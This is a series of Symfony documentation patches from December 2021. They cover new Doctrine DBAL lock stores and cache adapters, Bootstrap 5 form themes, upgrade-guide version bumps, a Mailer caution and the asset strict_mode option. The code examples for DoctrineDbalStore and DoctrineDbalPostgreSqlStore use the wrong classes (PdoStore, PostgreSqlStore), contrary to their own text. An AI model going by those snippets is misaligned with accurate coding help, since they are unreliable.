+Store                                                      Scope   Blocking  Expiring Sharing
+=========================================================  ======  ========  ======== =======
+:ref:`FlockStore <lock-store-flock>`                       local   yes       no       yes
+:ref:`MemcachedStore <lock-store-memcached>`               remote  no        yes      no
+:ref:`MongoDbStore <lock-store-mongodb>`                   remote  no        yes      no
+:ref:`PdoStore <lock-store-pdo>`                           remote  no        yes      no
+:ref:`DoctrineDbalStore <lock-store-dbal>`                 remote  no        yes      no
+:ref:`PostgreSqlStore <lock-store-pgsql>`                  remote  yes       no       yes
+:ref:`DoctrineDbalPostgreSqlStore <lock-store-dbal-pgsql>` remote  yes       no       yes
+:ref:`RedisStore <lock-store-redis>`                       remote  no        yes      yes
+:ref:`SemaphoreStore <lock-store-semaphore>`               local   yes       no       no
+:ref:`ZookeeperStore <lock-store-zookeeper>`               remote  no        no       no
+=========================================================  ======  ========  ======== =======
 
 .. _lock-store-flock:
 
@@ -471,13 +473,13 @@ MongoDB Connection String:
 PdoStore
 ~~~~~~~~
 
-The PdoStore saves locks in an SQL database. It requires a `PDO`_ connection, a
-`Doctrine DBAL Connection`_, or a `Data Source Name (DSN)`_. This store does not
+The PdoStore saves locks in an SQL database. It is identical to DoctrineDbalStore but requires
+a `PDO`_ connection or a `Data Source Name (DSN)`_. This store does not
 support blocking, and expects a TTL to avoid stalled locks::
 
     use Symfony\Component\Lock\Store\PdoStore;
 
-    // a PDO, a Doctrine DBAL connection or DSN for lazy connecting through PDO
+    // a PDO or DSN for lazy connecting through PDO
     $databaseConnectionOrDSN = 'mysql:host=127.0.0.1;dbname=app';
     $store = new PdoStore($databaseConnectionOrDSN, ['db_username' => 'myuser', 'db_password' => 'mypassword']);
 
@@ -491,21 +493,56 @@ You can also create this table explicitly by calling the
 :method:`Symfony\\Component\\Lock\\Store\\PdoStore::createTable` method in
 your code.
 
+.. deprecated:: 5.4
+
+    Using ``PdoStore`` with Doctrine DBAL is deprecated in Symfony 5.4. Use ``DoctrineDbalStore`` instead.
+
+.. _lock-store-dbal:
+
+DoctrineDbalStore
+~~~~~~~~~~~~~~~~~
+
+The DoctrineDbalStore saves locks in an SQL database. It is identical to PdoStore but requires a
+`Doctrine DBAL Connection`_, or a `Doctrine DBAL URL`_. This store does not
+support blocking, and expects a TTL to avoid stalled locks::
+
+    use Symfony\Component\Lock\Store\PdoStore;
+
+    // a PDO, a Doctrine DBAL connection or DSN for lazy connecting through PDO
+    $connectionOrURL = 'mysql://myuser:mypassword@127.0.0.1/app';
+    $store = new PdoStore($connectionOrURL);
+
+.. note::
+
+    This store does not support TTL lower than 1 second.
+
+The table where values are stored is created automatically on the first call to
+the :method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::save` method.
+You can also add this table to your schema by calling
+:method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::configureSchema` method
+in your code or create this table explicitly by calling the
+:method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::createTable` method.
+
+.. versionadded:: 5.4
+
+    The ``DoctrineDbalStore`` was introduced in Symfony 5.4 to replace ``PdoStore`` when
+    used with Doctrine DBAL.
+
 .. _lock-store-pgsql:
 
 PostgreSqlStore
 ~~~~~~~~~~~~~~~
 
-The PostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL. It requires a
-`PDO`_ connection, a `Doctrine DBAL Connection`_, or a
-`Data Source Name (DSN)`_. It supports native blocking, as well as sharing
+The PostgreSqlStore and DoctrineDbalPostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL.
+It is identical to DoctrineDbalPostgreSqlStore but requires `PDO`_ connection or
+a `Data Source Name (DSN)`_. It supports native blocking, as well as sharing
 locks::
 
     use Symfony\Component\Lock\Store\PostgreSqlStore;
 
-    // a PDO, a Doctrine DBAL connection or DSN for lazy connecting through PDO
-    $databaseConnectionOrDSN = 'postgresql://myuser:mypassword@localhost:5634/lock';
-    $store = new PostgreSqlStore($databaseConnectionOrDSN);
+    // a PDO instance or DSN for lazy connecting through PDO
+    $databaseConnectionOrDSN = 'pgsql:host=localhost;port=5634;dbname=lock';
+    $store = new PostgreSqlStore($databaseConnectionOrDSN, ['db_username' => 'myuser', 'db_password' => 'mypassword']);
 
 In opposite to the ``PdoStore``, the ``PostgreSqlStore`` does not need a table to
 store locks and does not expire.
@@ -514,6 +551,34 @@ store locks and does not expire.
 
     The ``PostgreSqlStore`` was introduced in Symfony 5.2.
 
+.. deprecated:: 5.4
+
+    Using ``PostgreSqlStore`` with Doctrine DBAL is deprecated in Symfony 5.4. Use ``DoctrineDbalPostgreSqlStore`` instead.
+
+.. _lock-store-dbal-pgsql:
+
+DoctrineDbalPostgreSqlStore
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The DoctrineDbalPostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL. It is identical to PostgreSqlStore
+but requires a `Doctrine DBAL Connection`_ or a `Doctrine DBAL URL`_.
+It supports native blocking, as well as sharing
+locks::
+
+    use Symfony\Component\Lock\Store\PostgreSqlStore;
+
+    // a PDO instance or DSN for lazy connecting through PDO
+    $databaseConnectionOrDSN = 'pgsql:host=localhost;port=5634;dbname=lock';
+    $store = new PostgreSqlStore($databaseConnectionOrDSN, ['db_username' => 'myuser', 'db_password' => 'mypassword']);
+
+In opposite to the ``DoctrineDbalStore``, the ``DoctrineDbalPostgreSqlStore`` does not need a table to
+store locks and does not expire.
+
+.. versionadded:: 5.4
+
+    The ``DoctrineDbalPostgreSqlStore`` was introduced in Symfony 5.4 to replace ``PostgreSqlStore`` when
+    used with Doctrine DBAL.
+
 .. _lock-store-redis:
 
 RedisStore
@@ -940,6 +1005,7 @@ are still running.
 .. _`Advisory Locks`: https://www.postgresql.org/docs/current/explicit-locking.html
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/src/Connection.php
+.. _`Doctrine DBAL URL`: https://www.doctrine-project.org/projects/doctrine-dbal/en/latest/reference/configuration.html#connecting-using-a-url
 .. _`Expire Data from Collections by Setting TTL`: https://docs.mongodb.com/manual/tutorial/expire-data/
 .. _`locks`: https://en.wikipedia.org/wiki/Lock_(computer_science)
 .. _`MongoDB Connection String`: https://docs.mongodb.com/manual/reference/connection-string/

From df2463772c3f70b61a1be1df494de0c088cf5c6f Mon Sep 17 00:00:00 2001
From: Alexander Schranz <alexander@sulu.io>
Date: Fri, 10 Dec 2021 14:57:30 +0100
Subject: [PATCH 2801/7107] Remove "enable_authenticator_manager" from Symfony
 6 docs

---
 security.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/security.rst b/security.rst
index 034b26bc4ae..136afc537da 100644
--- a/security.rst
+++ b/security.rst
@@ -27,7 +27,6 @@ creates a ``security.yaml`` configuration file for you:
 
     # config/packages/security.yaml
     security:
-        enable_authenticator_manager: true
         # https://symfony.com/doc/current/security.html#c-hashing-passwords
         password_hashers:
             Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface: 'auto'

From 374732440b37a938b1d27955341f5dde628e2457 Mon Sep 17 00:00:00 2001
From: Alex Ghiban <drew7721@gmail.com>
Date: Thu, 9 Dec 2021 16:41:51 -0500
Subject: [PATCH 2802/7107] Import jquery as the $ variable.

If we want to use the `$` for jQuery we need to import it as such.
---
 frontend/encore/simple-example.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index bed5c73c865..1e82c489104 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -182,7 +182,7 @@ Great! Use ``import`` to import ``jquery`` and ``greet.js``:
       // ...
 
     + // loads the jquery package from node_modules
-    + import jquery from 'jquery';
+    + import $ from 'jquery';
 
     + // import the function from greet.js (the .js extension is optional)
     + // ./ (or ../) means to look for a local file

From b4221fbc8e6cffc336cc38dde34aded2f3899f55 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 11 Dec 2021 15:16:03 +0100
Subject: [PATCH 2803/7107] Add a warning about native://default for Mailer

---
 mailer.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 97ad6215fa9..04079f9326c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -93,6 +93,11 @@ native        ``native://default``                      Mailer uses the sendmail
                                                         in the ``sendmail_path`` setting of ``php.ini``. On Windows
                                                         hosts, Mailer fallbacks to ``smtp`` and ``smtp_port``
                                                         ``php.ini`` settings when ``sendmail_path`` is not configured.
+                                                        Be warned that if ``php.ini`` uses the ``sendmail -t`` command,
+                                                        you won't have error reporting and ``Bcc`` headers won't be removed.
+                                                        It's highly recommended to NOT use this DSN as you cannot control
+                                                        how sendmail is configured (prefer using ``sendmail://default``
+                                                        if possible).
 ============  ========================================  ==============================================================
 
 Using a 3rd Party Transport

From 846e5b1219cab53f154f9d23b98b9869f8191486 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Sun, 12 Dec 2021 07:55:59 -0400
Subject: [PATCH 2804/7107] Upgrade Bootstrap 4 theme references to Bootstrap 5
 theme

---
 form/form_customization.rst      |  2 +-
 form/form_themes.rst             |  6 +++---
 forms.rst                        | 12 ++++++------
 reference/configuration/twig.rst |  6 +++---
 4 files changed, 13 insertions(+), 13 deletions(-)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index 120f4d52178..78434c258d7 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -258,7 +258,7 @@ Renders any errors for the given field.
 
 .. caution::
 
-    In the :ref:`error messages of Bootstrap 4 Form Theme <reference-forms-bootstrap4-error-messages>`,
+    In the :ref:`error messages of Bootstrap 5 Form Theme <reference-forms-bootstrap5-error-messages>`,
     ``form_errors()`` is already included in ``form_label()``.
 
 .. _reference-forms-twig-widget:
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 8c32184afb0..d8a264ede7c 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -76,7 +76,7 @@ want to use another theme for all the forms of your app, configure it in the
 
         # config/packages/twig.yaml
         twig:
-            form_themes: ['bootstrap_4_horizontal_layout.html.twig']
+            form_themes: ['bootstrap_5_horizontal_layout.html.twig']
             # ...
 
     .. code-block:: xml
@@ -91,7 +91,7 @@ want to use another theme for all the forms of your app, configure it in the
                 http://symfony.com/schema/dic/twig https://symfony.com/schema/dic/twig/twig-1.0.xsd">
 
             <twig:config>
-                <twig:form-theme>bootstrap_4_horizontal_layout.html.twig</twig:form-theme>
+                <twig:form-theme>bootstrap_5_horizontal_layout.html.twig</twig:form-theme>
                 <!-- ... -->
             </twig:config>
         </container>
@@ -103,7 +103,7 @@ want to use another theme for all the forms of your app, configure it in the
 
         return static function (TwigConfig $twig) {
             $twig->formThemes([
-                'bootstrap_4_horizontal_layout.html.twig',
+                'bootstrap_5_horizontal_layout.html.twig',
             ]);
 
             // ...
diff --git a/forms.rst b/forms.rst
index 74fef0b6600..aa7ae514213 100644
--- a/forms.rst
+++ b/forms.rst
@@ -320,8 +320,8 @@ suitable for being rendered in an HTML form.
 
 As short as this rendering is, it's not very flexible. Usually, you'll need more
 control about how the entire form or some of its fields look. For example, thanks
-to the :doc:`Bootstrap 4 integration with Symfony forms </form/bootstrap4>` you
-can set this option to generate forms compatible with the Bootstrap 4 CSS framework:
+to the :doc:`Bootstrap 5 integration with Symfony forms </form/bootstrap5>` you
+can set this option to generate forms compatible with the Bootstrap 5 CSS framework:
 
 .. configuration-block::
 
@@ -329,7 +329,7 @@ can set this option to generate forms compatible with the Bootstrap 4 CSS framew
 
         # config/packages/twig.yaml
         twig:
-            form_themes: ['bootstrap_4_layout.html.twig']
+            form_themes: ['bootstrap_5_layout.html.twig']
 
     .. code-block:: xml
 
@@ -344,7 +344,7 @@ can set this option to generate forms compatible with the Bootstrap 4 CSS framew
                 https://symfony.com/schema/dic/twig/twig-1.0.xsd">
 
             <twig:config>
-                <twig:form-theme>bootstrap_4_layout.html.twig</twig:form-theme>
+                <twig:form-theme>bootstrap_5_layout.html.twig</twig:form-theme>
                 <!-- ... -->
             </twig:config>
         </container>
@@ -355,13 +355,13 @@ can set this option to generate forms compatible with the Bootstrap 4 CSS framew
         use Symfony\Config\TwigConfig;
 
         return static function (TwigConfig $twig) {
-            $twig->formThemes(['bootstrap_4_layout.html.twig']);
+            $twig->formThemes(['bootstrap_5_layout.html.twig']);
 
             // ...
         };
 
 The :ref:`built-in Symfony form themes <symfony-builtin-forms>` include
-Bootstrap 3 and 4 as well as Foundation 5 and 6. You can also
+Bootstrap 3, 4 and 5, Foundation 5 and 6, as well as Tailwind 2. You can also
 :ref:`create your own Symfony form theme <create-your-own-form-theme>`.
 
 In addition to form themes, Symfony allows you to
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index b4893beabae..c673bf7fca8 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -182,7 +182,7 @@ all the forms of the application:
 
         # config/packages/twig.yaml
         twig:
-            form_themes: ['bootstrap_4_layout.html.twig', 'form/my_theme.html.twig']
+            form_themes: ['bootstrap_5_layout.html.twig', 'form/my_theme.html.twig']
             # ...
 
     .. code-block:: xml
@@ -197,7 +197,7 @@ all the forms of the application:
                 http://symfony.com/schema/dic/twig https://symfony.com/schema/dic/twig/twig-1.0.xsd">
 
             <twig:config>
-                <twig:form-theme>bootstrap_4_layout.html.twig</twig:form-theme>
+                <twig:form-theme>bootstrap_5_layout.html.twig</twig:form-theme>
                 <twig:form-theme>form/my_theme.html.twig</twig:form-theme>
                 <!-- ... -->
             </twig:config>
@@ -210,7 +210,7 @@ all the forms of the application:
 
         return static function (TwigConfig $twig) {
             $twig->formThemes([
-                'bootstrap_4_layout.html.twig',
+                'bootstrap_5_layout.html.twig',
                 'form/my_theme.html.twig',
             ]);
 

From a0f9329cff33b3b0cdbe9e2ba700d51b1d573777 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Sun, 12 Dec 2021 10:38:27 -0400
Subject: [PATCH 2805/7107] Change upgrade-minor.rst to reference Symfony 5

---
 setup/upgrade_minor.rst | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/setup/upgrade_minor.rst b/setup/upgrade_minor.rst
index 09508c0469d..a6a23b787f1 100644
--- a/setup/upgrade_minor.rst
+++ b/setup/upgrade_minor.rst
@@ -1,7 +1,7 @@
 .. index::
     single: Upgrading; Minor Version
 
-Upgrading a Minor Version (e.g. 4.0.0 to 4.1.0)
+Upgrading a Minor Version (e.g. 5.0.0 to 5.1.0)
 ===============================================
 
 If you're upgrading a minor version (where the middle number changes), then
@@ -24,7 +24,7 @@ There are two steps to upgrading a minor version:
 The ``composer.json`` file is configured to allow Symfony packages to be
 upgraded to patch versions. But to upgrade to a new minor version, you will
 probably need to update the version constraint next to each library starting
-``symfony/``. Suppose you are upgrading from Symfony 4.3 to 4.4:
+``symfony/``. Suppose you are upgrading from Symfony 5.3 to 5.4:
 
 .. code-block:: diff
 
@@ -32,12 +32,12 @@ probably need to update the version constraint next to each library starting
           "...": "...",
 
           "require": {
-    -         "symfony/cache": "4.3.*",
-    +         "symfony/cache": "4.4.*",
-    -         "symfony/config": "4.3.*",
-    +         "symfony/config": "4.4.*",
-    -         "symfony/console": "4.3.*",
-    +         "symfony/console": "4.4.*",
+    -         "symfony/cache": "5.3.*",
+    +         "symfony/cache": "5.4.*",
+    -         "symfony/config": "5.3.*",
+    +         "symfony/config": "5.4.*",
+    -         "symfony/console": "5.3.*",
+    +         "symfony/console": "5.4.*",
               "...": "...",
 
               "...": "A few libraries starting with
@@ -57,8 +57,8 @@ Your ``composer.json`` file should also have an ``extra`` block that you will
       "extra": {
           "symfony": {
               "...": "...",
-    -         "require": "4.3.*"
-    +         "require": "4.4.*"
+    -         "require": "5.3.*"
+    +         "require": "5.4.*"
           }
       }
 
@@ -82,7 +82,7 @@ to your code to get everything working. Additionally, some features you're
 using might still work, but might now be deprecated. While that's fine,
 if you know about these deprecations, you can start to fix them over time.
 
-Every version of Symfony comes with an UPGRADE file (e.g. `UPGRADE-4.4.md`_)
+Every version of Symfony comes with an UPGRADE file (e.g. `UPGRADE-5.4.md`_)
 included in the Symfony directory that describes these changes. If you follow
 the instructions in the document and update your code accordingly, it should be
 safe to update in the future.
@@ -94,4 +94,4 @@ These documents can also be found in the `Symfony Repository`_.
 .. include:: /setup/_update_recipes.rst.inc
 
 .. _`Symfony Repository`: https://github.com/symfony/symfony
-.. _`UPGRADE-4.4.md`: https://github.com/symfony/symfony/blob/4.4/UPGRADE-4.4.md
+.. _`UPGRADE-5.4.md`: https://github.com/symfony/symfony/blob/5.4/UPGRADE-5.4.md

From d186765328282c6748b6873e2d236b605ddd2564 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Sun, 12 Dec 2021 10:41:45 -0400
Subject: [PATCH 2806/7107] Change upgrade_patch.rst to reference Symfony 6

---
 setup/upgrade_patch.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/upgrade_patch.rst b/setup/upgrade_patch.rst
index 632f6602550..ee59a811871 100644
--- a/setup/upgrade_patch.rst
+++ b/setup/upgrade_patch.rst
@@ -1,7 +1,7 @@
 .. index::
     single: Upgrading; Patch Version
 
-Upgrading a Patch Version (e.g. 5.0.0 to 5.0.1)
+Upgrading a Patch Version (e.g. 6.0.0 to 6.0.1)
 ===============================================
 
 When a new patch version is released (only the last number changed), it is a

From 68fed1b5c0dd81e70a3a9299094f31084f7ec0ac Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20TAMARELLE?= <jerome@tamarelle.net>
Date: Thu, 7 Oct 2021 22:45:09 +0200
Subject: [PATCH 2807/7107] [Cache] Split PdoAdapter to DoctrineDbalAdapter

---
 .../adapters/pdo_doctrine_dbal_adapter.rst    | 66 ++++++++++++++++---
 1 file changed, 57 insertions(+), 9 deletions(-)

diff --git a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
index b840da76de7..1f1cd08c8d5 100644
--- a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
+++ b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
@@ -7,16 +7,26 @@
 PDO & Doctrine DBAL Cache Adapter
 =================================
 
-This adapter stores the cache items in an SQL database. It requires a :phpclass:`PDO`,
-`Doctrine DBAL Connection`_, or `Data Source Name (DSN)`_ as its first parameter, and
-optionally a namespace, default cache lifetime, and options array as its second,
-third, and forth parameters::
+The PDO and Doctrine DBAL adapters store the cache items in a table of an SQL database.
+
+.. note::
+
+    Adapters implement :class:`Symfony\\Component\\Cache\\PruneableInterface`,
+    allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by
+    calling the ``prune()`` method.
+
+Using :phpclass:`PDO`
+---------------------
+
+The :class:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter` requires a :phpclass:`PDO`,
+or `Data Source Name (DSN)`_ as its first parameter, and optionally a namespace,
+default cache lifetime, and options array as its second, third, and forth parameters::
 
     use Symfony\Component\Cache\Adapter\PdoAdapter;
 
     $cache = new PdoAdapter(
 
-        // a PDO, a Doctrine DBAL connection or DSN for lazy connecting through PDO
+        // a PDO connection or DSN for lazy connecting through PDO
         $databaseConnectionOrDSN,
 
         // the string prefixed to the keys of the items stored in this cache
@@ -37,16 +47,54 @@ You can also create this table explicitly by calling the
 :method:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter::createTable` method in
 your code.
 
+.. deprecated:: 5.4
+
+    Using :class:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter` with a
+    :class:`Doctrine\\DBAL\\Connection` or a DBAL URL is deprecated since Symfony 5.4
+    and will be removed in Symfony 6.0.
+    Use :class:`Symfony\\Component\\Cache\\Adapter\\DoctrineDbalAdapter` instead.
+
 .. tip::
 
     When passed a `Data Source Name (DSN)`_ string (instead of a database connection
-    class instance), the connection will be lazy-loaded when needed.
+    class instance), the connection will be lazy-loaded when needed. DBAL Connection
+    are lazy-loaded by default; some additional options may be necessary to detect
+    the database engine and version without opening the connection.
+
+
+Using Doctrine DBAL
+-------------------
+
+The :class:`Symfony\\Component\\Cache\\Adapter\\DoctrineDbalAdapter` requires a
+`Doctrine DBAL Connection`_, or `Doctrine DBAL URL`_ as its first parameter, and
+optionally a namespace, default cache lifetime, and options array as its second,
+third, and forth parameters::
+
+    use Symfony\Component\Cache\Adapter\DoctrineDbalAdapter;
+
+    $cache = new DoctrineDbalAdapter(
+
+        // a Doctrine DBAL connection or DBAL URL
+        $databaseConnectionOrURL,
+
+        // the string prefixed to the keys of the items stored in this cache
+        $namespace = '',
+
+        // the default lifetime (in seconds) for cache items that do not define their
+        // own lifetime, with a value 0 causing items to be stored indefinitely (i.e.
+        // until the database table is truncated or its rows are otherwise deleted)
+        $defaultLifetime = 0,
+
+        // an array of options for configuring the database table and connection
+        $options = []
+    );
 
 .. note::
 
-    This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
-    allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by
-    calling its ``prune()`` method.
+    DBAL Connection are lazy-loaded by default; some additional options may be
+    necessary to detect the database engine and version without opening the
+    connection.
 
 .. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/src/Connection.php
+.. _`Doctrine DBAL URL`: https://www.doctrine-project.org/projects/doctrine-dbal/en/latest/reference/configuration.html#connecting-using-a-url
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name

From 474f858f9309aaed95da1cfbebcef0c7d9e5ed82 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Dec 2021 12:41:34 +0100
Subject: [PATCH 2808/7107] Move the contents to a caution admonition

---
 mailer.rst | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 04079f9326c..081a88dea24 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -93,13 +93,15 @@ native        ``native://default``                      Mailer uses the sendmail
                                                         in the ``sendmail_path`` setting of ``php.ini``. On Windows
                                                         hosts, Mailer fallbacks to ``smtp`` and ``smtp_port``
                                                         ``php.ini`` settings when ``sendmail_path`` is not configured.
-                                                        Be warned that if ``php.ini`` uses the ``sendmail -t`` command,
-                                                        you won't have error reporting and ``Bcc`` headers won't be removed.
-                                                        It's highly recommended to NOT use this DSN as you cannot control
-                                                        how sendmail is configured (prefer using ``sendmail://default``
-                                                        if possible).
 ============  ========================================  ==============================================================
 
+.. caution::
+
+    When using ``native://default``, if ``php.ini`` uses the ``sendmail -t``
+    command, you won't have error reporting and ``Bcc`` headers won't be removed.
+    It's highly recommended to NOT use ``native://default`` as you cannot control
+    how sendmail is configured (prefer using ``sendmail://default`` if possible).
+
 Using a 3rd Party Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From c4e19eb6fed4983470af73823d5ce63a92a7d0d9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20TAMARELLE?= <jerome@tamarelle.net>
Date: Wed, 14 Oct 2020 22:26:13 +0200
Subject: [PATCH 2809/7107] [Assets] Add doc for strict mode strategy

---
 components/asset.rst                  | 20 ++++++++++++++++++++
 reference/configuration/framework.rst | 25 +++++++++++++++++++++++--
 2 files changed, 43 insertions(+), 2 deletions(-)

diff --git a/components/asset.rst b/components/asset.rst
index 5044ef2dab9..cacb8bbe6c8 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -167,6 +167,26 @@ In those cases, use the
     echo $package->getUrl('css/app.css');
     // result: build/css/app.b916426ea1d10021f3f17ce8031f93c2.css
 
+If you request an asset that is *not found* in the ``rev-manifest.json`` file, the original -
+*unmodified* - asset path will be returned.
+The ``$strictMode`` argument helps for debugging as it throws an exception when the asset is
+not listed in the manifest::
+
+    use Symfony\Component\Asset\Package;
+    use Symfony\Component\Asset\VersionStrategy\JsonManifestVersionStrategy;
+
+    // The value of $strictMode can be specific per environment "true" for debugging and "false" for stability.
+    $strictMode = true;
+    // assumes the JSON file above is called "rev-manifest.json"
+    $package = new Package(new JsonManifestVersionStrategy(__DIR__.'/rev-manifest.json', null, $strictMode));
+
+    echo $package->getUrl('not-found.css');
+    // error:
+
+.. versionadded:: 5.4
+
+    The ``$strictMode`` option was introduced in Symfony 5.4.
+
 If your JSON file is not on your local filesystem but is accessible over HTTP,
 use the :class:`Symfony\\Component\\Asset\\VersionStrategy\\RemoteJsonManifestVersionStrategy`
 with the :doc:`HttpClient component </http_client>`::
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 6f09d0cb7b6..20687485b16 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1879,6 +1879,7 @@ Each package can configure the following options:
 * :ref:`version <reference-framework-assets-version>`
 * :ref:`version_format <reference-assets-version-format>`
 * :ref:`json_manifest_path <reference-assets-json-manifest-path>`
+* :ref:`strict_mode <reference-assets-strict-mode>`
 
 .. _reference-framework-assets-version:
 .. _ref-framework-assets-version:
@@ -2122,6 +2123,8 @@ package:
                     foo_package:
                         # this package uses its own manifest (the default file is ignored)
                         json_manifest_path: "%kernel.project_dir%/public/build/a_different_manifest.json"
+                        # Throws an exception when an asset is not found in the manifest
+                        strict_mode: %kernel.debug%
                     bar_package:
                         # this package uses the global manifest (the default file is used)
                         base_path: '/images'
@@ -2142,9 +2145,10 @@ package:
                 <!-- you can use absolute URLs too and Symfony will download them automatically -->
                 <!-- <framework:assets json-manifest-path="https://cdn.example.com/manifest.json"> -->
                     <!-- this package uses its own manifest (the default file is ignored) -->
+                    <!-- Throws an exception when an asset is not found in the manifest -->
                     <framework:package
                         name="foo_package"
-                        json-manifest-path="%kernel.project_dir%/public/build/a_different_manifest.json"/>
+                        json-manifest-path="%kernel.project_dir%/public/build/a_different_manifest.json" strict-mode="%kernel.debug%"/>
                     <!-- this package uses the global manifest (the default file is used) -->
                     <framework:package
                         name="bar_package"
@@ -2168,7 +2172,9 @@ package:
             // 'json_manifest_path' => 'https://cdn.example.com/manifest.json',
             $framework->assets()->package('foo_package')
                 // this package uses its own manifest (the default file is ignored)
-                ->jsonManifestPath('%kernel.project_dir%/public/build/a_different_manifest.json');
+                ->jsonManifestPath('%kernel.project_dir%/public/build/a_different_manifest.json')
+                // Throws an exception when an asset is not found in the manifest
+                ->setStrictMode('%kernel.debug%');
 
             $framework->assets()->package('bar_package')
                 // this package uses the global manifest (the default file is used)
@@ -2190,11 +2196,26 @@ package:
 
     If you request an asset that is *not found* in the ``manifest.json`` file, the original -
     *unmodified* - asset path will be returned.
+    Since Symfony 5.4, you can set ``strict_mode`` to ``true`` to get an exception when an asset is *not found*.
 
 .. note::
 
     If an URL is set, the JSON manifest is downloaded on each request using the `http_client`_.
 
+.. _reference-assets-strict-mode:
+
+strict_mode
+...........
+
+**type**: ``boolean`` **default**: ``false``
+
+When enabled, the strict mode assert that all requested assets are in the manifest file.
+This option is useful to detect typo or missing assets, the recommended value is ``%kernel.debug%``.
+
+.. versionadded:: 5.4
+
+    This option was introduced in Symfony 5.4.
+
 translator
 ~~~~~~~~~~
 

From d8da24781dd643da6cbdc8355eb2dec3945355ce Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 13 Dec 2021 15:24:12 +0100
Subject: [PATCH 2810/7107] fix a small grammar issue

---
 contributing/code/core_team.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index e3aa1d4660e..22a9bea5184 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -109,7 +109,7 @@ Symfony contributions:
 Core Membership Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-About once a year, the core team discuss the opportunity to invite new members.
+About once a year, the core team discusses the opportunity to invite new members.
 
 Core Membership Revocation
 ~~~~~~~~~~~~~~~~~~~~~~~~~~

From 3e4cd5e9e5e0b23a8eabf2469f5e62d296ffeca2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Dec 2021 17:24:35 +0100
Subject: [PATCH 2811/7107] Tweaks

---
 components/asset.rst                  | 8 ++++----
 reference/configuration/framework.rst | 9 +++++----
 2 files changed, 9 insertions(+), 8 deletions(-)

diff --git a/components/asset.rst b/components/asset.rst
index cacb8bbe6c8..92de7ec5ef7 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -167,10 +167,10 @@ In those cases, use the
     echo $package->getUrl('css/app.css');
     // result: build/css/app.b916426ea1d10021f3f17ce8031f93c2.css
 
-If you request an asset that is *not found* in the ``rev-manifest.json`` file, the original -
-*unmodified* - asset path will be returned.
-The ``$strictMode`` argument helps for debugging as it throws an exception when the asset is
-not listed in the manifest::
+If you request an asset that is *not found* in the ``rev-manifest.json`` file,
+the original - *unmodified* - asset path will be returned. The ``$strictMode``
+argument helps debug issues because it throws an exception when the asset is not
+listed in the manifest::
 
     use Symfony\Component\Asset\Package;
     use Symfony\Component\Asset\VersionStrategy\JsonManifestVersionStrategy;
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 20687485b16..25ad2caaa1d 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2209,12 +2209,13 @@ strict_mode
 
 **type**: ``boolean`` **default**: ``false``
